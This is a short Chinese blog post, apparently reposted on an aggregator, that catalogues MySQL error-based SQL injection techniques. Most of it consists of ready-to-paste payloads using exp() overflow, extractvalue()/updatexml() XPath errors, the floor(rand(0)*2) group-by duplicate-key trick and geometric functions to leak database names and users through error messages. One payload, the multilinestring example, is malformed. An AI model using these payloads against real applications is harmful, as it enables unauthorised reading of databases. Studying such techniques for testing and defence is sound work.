首页 > 数据库技术 > 详细

sql的报错注入总结

时间:2021-09-02 00:05:43      阅读:19      评论:0      收藏:0      [点我收藏+]

1.数据溢出

2.xpath语法错误

3.concat+rand()+group by 主键重复报错

4.几何函数

 

1.数据

exp()函数:此函数返回e(自然对数的底)指数X的幂值  ,select 查询成功返回0, ~0=1111111111111111

mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘root@localhost‘ from dual)))‘

2.xpath语法错误

这个呢主要有两个函数

extractvalue()和updatexml()

主要利用方式为

‘ and (select extractvalue(1,concat(‘~‘,(select database()))))--+

‘ and (select updatexml(1,concat(‘~‘,(select database())),1))--+

这里的~可以换成$或其他特殊字符

3.concat+rand()+group by 主键重复报错

具体原理参照我的另一篇博客

主要利用方式为

‘ union select 1 from (select count(*),concat((select database()),floor(rand(0)*2)) as x from information_schema.tables group by x)a--+

4.几何函数

GeometryCollection()、polygon()、GTID_SUBSET()、multipoint()、multilinestring()、multipolygon()、LINESTRING()、exp()

利用方法比较统一

‘ and multilinestring((select from (select from (select user())a)b))--+

但是这部分函数低版本的数据库没有办法使用

sql的报错注入总结

原文:https://www.cnblogs.com/iwantflag/p/15206539.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!